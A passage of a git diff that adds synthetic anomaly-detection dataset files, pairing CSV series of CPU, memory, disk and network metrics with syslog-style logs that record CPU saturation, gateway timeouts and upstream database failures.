kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:12:30 sshd[28864]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +Jul 15 14:12:40 cron[3828]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:12:45 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:12:50 app-server[14792]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:13:05 app-server[28610]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:13:10 app-server[2429]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:13:25 app-server[4240]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:13:40 app-server[12042]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:13:50 nginx[16874]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:14:05 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:14:20 kubelet[25381]: INFO: Successfully probed container health-check +Jul 15 14:14:25 gunicorn[9847]: [CRITICAL] WORKER TIMEOUT (pid:31280) +Jul 15 14:14:30 nginx[6208]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:14:45 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:14:50 gunicorn[14681]: [CRITICAL] WORKER TIMEOUT (pid:35946) +Jul 15 14:14:55 kernel: INFO: task java:1234 blocked for more than 120 seconds. diff --git a/anom_dataset/scenario_1/anom_1_17.csv b/anom_dataset/scenario_1/anom_1_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..1e590decc322b83f2ff300cd6370fee900464e8e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_17.csv @@ -0,0 +1,91 @@ +timestamp,mem_usage,disk_io,net_in,net_out,cpu_usage +2025-07-02T11:00:00Z,39.67,26.43,0.6,1.4,13.27 +2025-07-02T11:00:05Z,39.13,21.17,1.23,1.79,19.84 +2025-07-02T11:00:10Z,41.24,26.47,1.17,1.26,12.94 +2025-07-02T11:00:15Z,36.15,26.43,0.85,0.89,11.29 +2025-07-02T11:00:20Z,39.48,21.15,1.02,0.72,11.2 +2025-07-02T11:00:25Z,36.31,23.13,1.42,0.91,17.38 +2025-07-02T11:00:30Z,44.27,27.91,0.53,1.36,15.42 +2025-07-02T11:00:35Z,44.95,20.65,0.86,1.61,10.56 +2025-07-02T11:00:40Z,41.52,20.16,1.34,1.23,16.73 +2025-07-02T11:00:45Z,39.18,23.29,1.3,1.51,19.43 +2025-07-02T11:00:50Z,38.43,21.86,1.26,1.57,14.15 +2025-07-02T11:00:55Z,42.55,21.64,1.41,1.42,11.79 +2025-07-02T11:01:00Z,41.89,21.3,1.32,1.64,17.65 +2025-07-02T11:01:05Z,44.15,27.68,1.34,1.5,19.73 +2025-07-02T11:01:10Z,42.49,29.99,0.91,1.79,18.9 +2025-07-02T11:01:15Z,40.69,20.67,1.24,1.31,18.51 +2025-07-02T11:01:20Z,43.9,27.63,1.44,1.2,13.46 +2025-07-02T11:01:25Z,39.76,22.3,0.8,1.59,13.74 +2025-07-02T11:01:30Z,38.69,20.93,0.55,1.2,13.91 +2025-07-02T11:01:35Z,43.02,28.81,1.23,1.53,10.37 +2025-07-02T11:01:40Z,35.29,28.3,1.24,1.65,13.19 +2025-07-02T11:01:45Z,44.7,23.34,0.58,0.78,16.37 +2025-07-02T11:01:50Z,36.37,23.35,1.42,0.92,12.5 +2025-07-02T11:01:55Z,44.57,28.33,1.36,1.77,12.1 +2025-07-02T11:02:00Z,42.48,28.87,1.37,1.61,14.25 +2025-07-02T11:02:05Z,37.6,28.92,1.33,1.3,15.32 +2025-07-02T11:02:10Z,38.42,29.09,1.46,1.58,15.65 +2025-07-02T11:02:15Z,38.08,22.59,1.22,1.66,17.72 +2025-07-02T11:02:20Z,35.15,29.72,1.13,1.38,16.05 +2025-07-02T11:02:25Z,35.68,23.11,0.69,1.38,16.74 +2025-07-02T11:02:30Z,37.17,22.45,0.52,1.23,20.0 +2025-07-02T11:02:35Z,37.58,27.23,1.31,1.1,25.57 +2025-07-02T11:02:40Z,38.94,24.58,1.39,1.34,31.14 +2025-07-02T11:02:45Z,44.17,28.56,0.51,0.99,36.71 +2025-07-02T11:02:50Z,39.19,24.79,1.03,1.27,42.29 +2025-07-02T11:02:55Z,38.36,25.37,1.18,1.6,47.86 +2025-07-02T11:03:00Z,36.3,22.21,0.8,1.4,53.43 +2025-07-02T11:03:05Z,37.88,24.79,0.68,0.84,59.0 +2025-07-02T11:03:10Z,42.57,21.85,0.84,1.71,64.57 +2025-07-02T11:03:15Z,42.49,21.85,1.18,0.72,70.14 +2025-07-02T11:03:20Z,39.99,26.44,1.29,1.49,75.71 +2025-07-02T11:03:25Z,41.66,22.85,1.34,0.94,81.29 +2025-07-02T11:03:30Z,38.54,27.04,1.03,1.07,86.86 +2025-07-02T11:03:35Z,44.12,27.92,1.44,1.51,92.43 +2025-07-02T11:03:40Z,39.03,24.8,1.11,1.3,98.0 +2025-07-02T11:03:45Z,40.47,22.59,1.49,1.31,98.71 +2025-07-02T11:03:50Z,41.03,27.02,0.69,1.75,98.0 +2025-07-02T11:03:55Z,43.28,29.18,0.7,0.81,99.52 +2025-07-02T11:04:00Z,37.04,21.66,1.46,1.17,98.93 +2025-07-02T11:04:05Z,35.39,26.79,0.87,0.92,99.18 +2025-07-02T11:04:10Z,41.22,22.47,0.93,1.4,99.11 +2025-07-02T11:04:15Z,36.24,22.17,1.32,1.79,99.66 +2025-07-02T11:04:20Z,38.91,24.52,1.09,1.01,98.3 +2025-07-02T11:04:25Z,38.07,24.95,0.81,1.11,98.37 +2025-07-02T11:04:30Z,41.41,23.97,1.08,1.34,98.27 +2025-07-02T11:04:35Z,43.46,25.34,1.38,0.94,98.86 +2025-07-02T11:04:40Z,39.05,22.3,0.98,0.74,98.21 +2025-07-02T11:04:45Z,37.64,28.58,1.23,0.78,99.92 +2025-07-02T11:04:50Z,39.6,20.83,0.58,1.45,98.39 +2025-07-02T11:04:55Z,36.98,29.98,0.55,1.59,98.61 +2025-07-02T11:05:00Z,42.93,26.52,0.91,1.0,99.39 +2025-07-02T11:05:05Z,42.12,25.54,1.47,0.86,98.9 +2025-07-02T11:05:10Z,37.31,24.92,0.64,1.1,98.16 +2025-07-02T11:05:15Z,40.83,28.61,0.76,1.37,98.69 +2025-07-02T11:05:20Z,39.44,26.33,1.13,1.58,98.04 +2025-07-02T11:05:25Z,37.5,21.67,0.95,1.42,99.3 +2025-07-02T11:05:30Z,36.42,27.29,0.79,1.75,99.46 +2025-07-02T11:05:35Z,42.11,23.78,1.22,1.66,98.73 +2025-07-02T11:05:40Z,35.03,22.85,0.86,1.65,98.44 +2025-07-02T11:05:45Z,44.76,22.5,1.38,1.74,99.52 +2025-07-02T11:05:50Z,41.95,27.94,1.35,1.72,98.5 +2025-07-02T11:05:55Z,40.06,27.46,0.52,1.41,99.17 +2025-07-02T11:06:00Z,40.92,21.27,0.75,1.64,98.93 +2025-07-02T11:06:05Z,36.51,27.84,0.54,0.77,98.71 +2025-07-02T11:06:10Z,35.92,27.75,0.78,1.72,98.63 +2025-07-02T11:06:15Z,42.17,28.86,0.54,0.72,99.22 +2025-07-02T11:06:20Z,37.49,23.91,0.58,1.59,99.79 +2025-07-02T11:06:25Z,40.26,25.55,0.9,1.76,98.86 +2025-07-02T11:06:30Z,37.94,29.34,1.46,1.26,98.89 +2025-07-02T11:06:35Z,40.11,21.47,0.57,1.18,99.15 +2025-07-02T11:06:40Z,35.36,28.31,0.6,1.23,98.23 +2025-07-02T11:06:45Z,43.23,29.2,0.83,0.82,99.4 +2025-07-02T11:06:50Z,40.96,24.55,0.82,1.0,98.38 +2025-07-02T11:06:55Z,36.16,27.83,1.0,1.69,98.21 +2025-07-02T11:07:00Z,40.39,28.29,1.4,1.48,99.24 +2025-07-02T11:07:05Z,36.58,23.52,1.23,1.61,98.09 +2025-07-02T11:07:10Z,43.59,22.14,0.68,1.08,98.41 +2025-07-02T11:07:15Z,41.9,21.1,0.63,1.47,98.5 +2025-07-02T11:07:20Z,40.35,21.21,0.6,1.36,98.21 +2025-07-02T11:07:25Z,40.05,20.31,1.46,0.78,98.3 diff --git a/anom_dataset/scenario_1/anom_1_17.log b/anom_dataset/scenario_1/anom_1_17.log new file mode 100644 index 0000000000000000000000000000000000000000..26c8d9d241f7d00d69907aa035ac2c9ab6bff3ba --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_17.log @@ -0,0 +1,78 @@ +Jul 02 11:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:00 systemd[1]: Started Session 10 of user ubuntu. +Jul 02 11:00:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 55238 ssh2 +Jul 02 11:00:35 systemd[1]: Started Session 17 of user ubuntu. +Jul 02 11:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:10 systemd[1]: Started Session 24 of user ubuntu. +Jul 02 11:01:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:45 systemd[1]: Started Session 31 of user ubuntu. +Jul 02 11:02:20 systemd[1]: Started Session 38 of user ubuntu. +Jul 02 11:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:15 app-server[4567]: ERROR request to payment-service failed: timeout after 30s +Jul 02 11:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:35 app-server[4567]: ERROR request to payment-service failed: timeout after 30s +Jul 02 11:03:40 app-server[4567]: ERROR request to payment-service failed: timeout after 30s +Jul 02 11:03:45 app-server[4567]: ERROR request to payment-service failed: timeout after 30s +Jul 02 11:03:50 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:03:50 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:00 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:00 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:05 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:05 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:10 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:10 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:25 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:25 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:30 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:30 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:35 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:35 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:40 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:40 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:50 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:50 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:04:55 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:04:55 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:10 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:10 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:15 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:15 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:20 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:20 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:25 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:25 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:35 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:35 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:45 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:45 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:50 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:50 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:55 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:05:55 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:00 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:00 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:05 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:05 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:10 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:10 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:15 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:15 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:20 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:20 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:25 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:25 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:40 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:40 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:45 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:45 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:06:50 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:06:50 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:07:00 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:07:00 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms +Jul 02 11:07:10 app-server[4567]: ERROR request to user-database failed: upstream request timeout +Jul 02 11:07:10 app-server[4567]: WARN GET /api/v2/users returned 504 (Gateway Timeout) in 30050ms diff --git a/anom_dataset/scenario_1/anom_1_18.csv b/anom_dataset/scenario_1/anom_1_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..ab243570f209de6b090c4114aa5338dd3efd67d7 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T14:00:00Z,14.67,41.71,26.78,1.47,0.81 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+2025-08-23T14:06:45Z,99.12,44.02,26.8,1.32,1.99 +2025-08-23T14:06:50Z,97.98,41.14,22.72,0.62,1.87 +2025-08-23T14:06:55Z,95.58,42.54,22.23,0.91,1.79 +2025-08-23T14:07:00Z,97.7,43.47,28.14,0.61,1.72 +2025-08-23T14:07:05Z,95.79,39.79,25.21,0.88,1.96 +2025-08-23T14:07:10Z,99.3,37.49,30.85,1.45,1.37 +2025-08-23T14:07:15Z,98.45,36.38,35.2,1.26,1.09 +2025-08-23T14:07:20Z,97.68,37.7,29.21,0.96,1.39 +2025-08-23T14:07:25Z,97.53,36.8,31.72,1.2,0.82 diff --git a/anom_dataset/scenario_1/anom_1_18.log b/anom_dataset/scenario_1/anom_1_18.log new file mode 100644 index 0000000000000000000000000000000000000000..649108b517e6d4fca9e5eab0573900cc26a73f7f --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_18.log @@ -0,0 +1,52 @@ +Aug 23 14:00:08 kubelet[14667]: INFO routine sync completed for pod api-gateway +Aug 23 14:00:45 sshd[24599]: Accepted publickey for web_admin from 10.0.2.15 port 48992 ssh2 +Aug 23 14:01:19 kubelet[7520]: INFO Successfully probed container health-monitor +Aug 23 14:01:28 kubelet[26923]: INFO Successfully probed container health-monitor +Aug 23 14:01:34 sshd[4748]: Accepted publickey for web_admin from 10.0.2.15 port 48992 ssh2 +Aug 23 14:01:42 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:50 systemd[1]: Started Session 20 of user web_admin. +Aug 23 14:01:51 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:02:24 kubelet[6238]: INFO routine sync completed for pod api-gateway +Aug 23 14:02:34 sshd[4529]: Accepted publickey for web_admin from 10.0.2.15 port 48992 ssh2 +Aug 23 14:02:37 kubelet[17589]: INFO routine sync completed for pod api-gateway +Aug 23 14:02:43 gunicorn[2150]: ERROR Request timeout for user_id=8460 on /api/v1/query +Aug 23 14:02:46 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:02:55 gunicorn[2150]: WARN Request processing time is high: 9.7s for /api/v1/data +Aug 23 14:03:00 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:03:03 gunicorn[2150]: WARN Request processing time is high: 8.9s for /api/v1/data +Aug 23 14:03:23 kubelet[16402]: INFO routine sync completed for pod api-gateway +Aug 23 14:03:29 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 14:03:35 gunicorn[2150]: ERROR Request timeout for user_id=8792 on /api/v1/query +Aug 23 14:03:45 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:03:47 gunicorn[2150]: WARN Request processing time is high: 5.8s for /api/v1/data +Aug 23 14:04:00 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:04:27 gunicorn[2150]: WARN Request processing time is high: 14.9s for /api/v1/data +Aug 23 14:04:32 systemd[1]: Started Session 67 of user web_admin. +Aug 23 14:04:38 kubelet[9733]: INFO Successfully probed container health-monitor +Aug 23 14:04:45 gunicorn[2150]: WARN Request processing time is high: 13.8s for /api/v1/data +Aug 23 14:04:46 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:04:54 gunicorn[2150]: WARN Request processing time is high: 6.0s for /api/v1/data +Aug 23 14:05:00 gunicorn[2150]: WARN Request processing time is high: 7.5s for /api/v1/data +Aug 23 14:05:02 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:05:08 gunicorn[2150]: WARN Request processing time is high: 11.0s for /api/v1/data +Aug 23 14:05:15 gunicorn[2150]: ERROR Request timeout for user_id=3444 on /api/v1/query +Aug 23 14:05:19 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:05:25 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:05:27 gunicorn[2150]: ERROR Request timeout for user_id=5628 on /api/v1/query +Aug 23 14:05:44 gunicorn[2150]: ERROR Request timeout for user_id=5497 on /api/v1/query +Aug 23 14:05:47 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:05:51 gunicorn[2150]: WARN Request processing time is high: 13.5s for /api/v1/data +Aug 23 14:06:00 kubelet[9275]: INFO routine sync completed for pod api-gateway +Aug 23 14:06:03 systemd[1]: Started Session 36 of user web_admin. +Aug 23 14:06:06 gunicorn[2150]: WARN Request processing time is high: 8.3s for /api/v1/data +Aug 23 14:06:12 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:06:20 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:06:24 gunicorn[2150]: ERROR Request timeout for user_id=9611 on /api/v1/query +Aug 23 14:06:28 gunicorn[2150]: ERROR Request timeout for user_id=5208 on /api/v1/query +Aug 23 14:06:35 gunicorn[2150]: ERROR Request timeout for user_id=5066 on /api/v1/query +Aug 23 14:06:37 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:06:42 gunicorn[2150]: ERROR Upstream service 'user-database' unavailable: connection timed out +Aug 23 14:06:51 gunicorn[2150]: WARN Request processing time is high: 10.4s for /api/v1/data +Aug 23 14:07:00 gunicorn[2150]: WARN Request processing time is high: 14.0s for /api/v1/data +Aug 23 14:07:05 gunicorn[2150]: WARN Request processing time is high: 6.9s for /api/v1/data +Aug 23 14:07:11 gunicorn[2150]: WARN Request processing time is high: 11.5s for /api/v1/data diff --git a/anom_dataset/scenario_1/anom_1_19.csv b/anom_dataset/scenario_1/anom_1_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..50fc3fe22032bab54f3ce654ad80921e0bfd74b0 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T14:00:00Z,17.52,39.59,22.0,0.84,1.64 +2025-08-23T14:00:05Z,16.04,38.24,20.54,1.28,0.89 +2025-08-23T14:00:10Z,16.48,44.09,30.82,1.22,1.19 +2025-08-23T14:00:15Z,18.46,39.29,30.79,0.67,1.22 +2025-08-23T14:00:20Z,20.41,41.48,31.87,1.2,1.55 +2025-08-23T14:00:25Z,20.21,40.41,28.52,1.2,1.05 +2025-08-23T14:00:30Z,21.1,35.56,21.74,1.32,1.25 +2025-08-23T14:00:35Z,19.63,44.32,30.03,1.12,1.2 +2025-08-23T14:00:40Z,18.74,38.64,26.45,1.28,1.41 +2025-08-23T14:00:45Z,17.63,36.23,34.22,1.29,0.99 +2025-08-23T14:00:50Z,23.08,44.38,26.87,0.8,1.97 +2025-08-23T14:00:55Z,22.91,38.95,24.1,0.64,1.43 +2025-08-23T14:01:00Z,24.0,44.88,30.06,1.43,1.66 +2025-08-23T14:01:05Z,21.15,41.3,21.65,1.2,1.3 +2025-08-23T14:01:10Z,16.36,36.49,28.31,0.65,1.84 +2025-08-23T14:01:15Z,21.32,41.04,29.46,1.45,1.04 +2025-08-23T14:01:20Z,21.53,38.37,29.98,0.86,1.29 +2025-08-23T14:01:25Z,19.51,39.9,22.25,1.41,0.84 +2025-08-23T14:01:30Z,16.67,36.4,26.11,0.82,1.37 +2025-08-23T14:01:35Z,16.52,38.9,32.67,0.67,1.69 +2025-08-23T14:01:40Z,21.85,39.61,29.89,1.4,1.65 +2025-08-23T14:01:45Z,22.9,37.34,33.83,0.76,1.82 +2025-08-23T14:01:50Z,24.18,44.17,20.78,1.01,1.2 +2025-08-23T14:01:55Z,23.18,44.69,32.69,1.31,1.78 +2025-08-23T14:02:00Z,15.62,44.5,25.95,0.66,1.58 +2025-08-23T14:02:05Z,18.81,38.2,33.0,0.85,1.71 +2025-08-23T14:02:10Z,19.79,43.71,24.22,0.82,1.68 +2025-08-23T14:02:15Z,16.44,37.01,34.51,0.96,1.44 +2025-08-23T14:02:20Z,16.17,43.11,21.65,0.59,0.9 +2025-08-23T14:02:25Z,19.78,39.38,28.51,0.54,1.81 +2025-08-23T14:02:30Z,19.78,42.62,20.0,1.24,1.97 +2025-08-23T14:02:35Z,23.9,36.32,34.98,0.89,0.91 +2025-08-23T14:02:40Z,28.02,43.38,33.77,0.69,1.76 +2025-08-23T14:02:45Z,32.13,38.55,22.78,1.03,1.56 +2025-08-23T14:02:50Z,36.25,41.25,28.48,0.55,1.41 +2025-08-23T14:02:55Z,40.37,36.9,33.97,1.06,1.31 +2025-08-23T14:03:00Z,44.48,38.75,34.99,1.07,1.94 +2025-08-23T14:03:05Z,48.6,40.48,23.19,1.19,1.24 +2025-08-23T14:03:10Z,52.72,36.57,34.49,0.51,1.53 +2025-08-23T14:03:15Z,56.83,42.51,22.38,0.83,1.34 +2025-08-23T14:03:20Z,60.95,35.69,23.17,0.93,1.46 +2025-08-23T14:03:25Z,65.07,43.64,22.79,0.51,0.92 +2025-08-23T14:03:30Z,69.18,35.2,25.03,0.81,1.62 +2025-08-23T14:03:35Z,73.3,36.73,30.42,1.46,0.9 +2025-08-23T14:03:40Z,77.42,44.32,22.13,0.97,1.73 +2025-08-23T14:03:45Z,81.53,37.92,21.04,1.42,1.55 +2025-08-23T14:03:50Z,85.65,44.95,25.9,1.44,1.53 +2025-08-23T14:03:55Z,89.77,41.39,25.7,1.1,1.61 +2025-08-23T14:04:00Z,93.88,36.13,25.49,0.94,1.86 +2025-08-23T14:04:05Z,98.0,38.29,29.57,1.29,1.21 +2025-08-23T14:04:10Z,98.39,40.35,28.53,1.15,1.95 +2025-08-23T14:04:15Z,98.37,35.78,25.62,1.42,1.25 +2025-08-23T14:04:20Z,98.69,41.04,24.69,0.63,0.95 +2025-08-23T14:04:25Z,96.0,42.38,21.13,0.68,1.03 +2025-08-23T14:04:30Z,96.77,36.34,24.52,1.44,1.51 +2025-08-23T14:04:35Z,96.24,42.84,25.45,1.25,1.27 +2025-08-23T14:04:40Z,98.93,41.47,24.18,0.8,1.36 +2025-08-23T14:04:45Z,99.69,38.74,32.03,0.93,1.67 +2025-08-23T14:04:50Z,98.85,41.77,22.87,0.76,1.22 +2025-08-23T14:04:55Z,99.32,39.56,31.57,0.83,1.76 +2025-08-23T14:05:00Z,99.67,35.44,34.46,0.94,1.13 +2025-08-23T14:05:05Z,99.14,44.16,29.23,1.14,1.11 +2025-08-23T14:05:10Z,98.73,37.7,25.44,0.7,1.0 +2025-08-23T14:05:15Z,96.52,40.47,23.2,0.92,0.92 +2025-08-23T14:05:20Z,98.95,42.24,22.27,1.22,1.87 +2025-08-23T14:05:25Z,96.0,42.64,30.19,0.59,0.89 +2025-08-23T14:05:30Z,96.19,39.06,21.49,0.66,1.23 +2025-08-23T14:05:35Z,98.99,35.85,23.18,0.99,1.7 +2025-08-23T14:05:40Z,99.39,37.96,28.09,0.93,1.85 +2025-08-23T14:05:45Z,99.09,43.58,32.35,1.13,1.47 +2025-08-23T14:05:50Z,96.1,38.95,24.15,1.15,1.5 +2025-08-23T14:05:55Z,97.36,40.75,23.13,0.77,1.68 +2025-08-23T14:06:00Z,96.3,36.91,34.35,0.58,1.34 +2025-08-23T14:06:05Z,96.86,43.19,34.89,0.88,1.35 +2025-08-23T14:06:10Z,96.02,36.17,33.38,0.97,1.08 +2025-08-23T14:06:15Z,95.85,39.1,32.36,0.57,1.21 +2025-08-23T14:06:20Z,96.43,36.13,31.52,1.04,0.82 +2025-08-23T14:06:25Z,98.18,38.8,34.53,0.93,0.89 +2025-08-23T14:06:30Z,98.15,44.53,27.17,0.98,0.92 +2025-08-23T14:06:35Z,97.93,42.61,23.61,0.6,0.86 +2025-08-23T14:06:40Z,99.61,39.56,27.4,1.07,0.93 +2025-08-23T14:06:45Z,97.68,42.02,20.21,0.56,0.88 +2025-08-23T14:06:50Z,99.87,35.1,29.83,0.54,1.1 +2025-08-23T14:06:55Z,96.05,41.34,25.69,1.48,0.87 +2025-08-23T14:07:00Z,97.72,37.86,31.37,1.02,1.74 +2025-08-23T14:07:05Z,95.06,40.9,21.12,0.8,1.89 +2025-08-23T14:07:10Z,97.08,40.24,22.44,0.84,1.99 +2025-08-23T14:07:15Z,97.58,41.69,29.66,1.14,0.83 +2025-08-23T14:07:20Z,97.55,36.96,26.18,0.89,1.87 +2025-08-23T14:07:25Z,96.54,38.53,33.88,0.56,0.98 diff --git a/anom_dataset/scenario_1/anom_1_19.log b/anom_dataset/scenario_1/anom_1_19.log new file mode 100644 index 0000000000000000000000000000000000000000..a108fe231afc01cdcc99f7c9ecca87754897536f --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_19.log @@ -0,0 +1,90 @@ +Aug 23 14:00:04 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:07 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 23 14:00:07 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:15 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:00:17 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:22 systemd[1]: Started Session 38 of user app_user. +Aug 23 14:00:22 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:23 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:49 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:55 nginx[1123]: 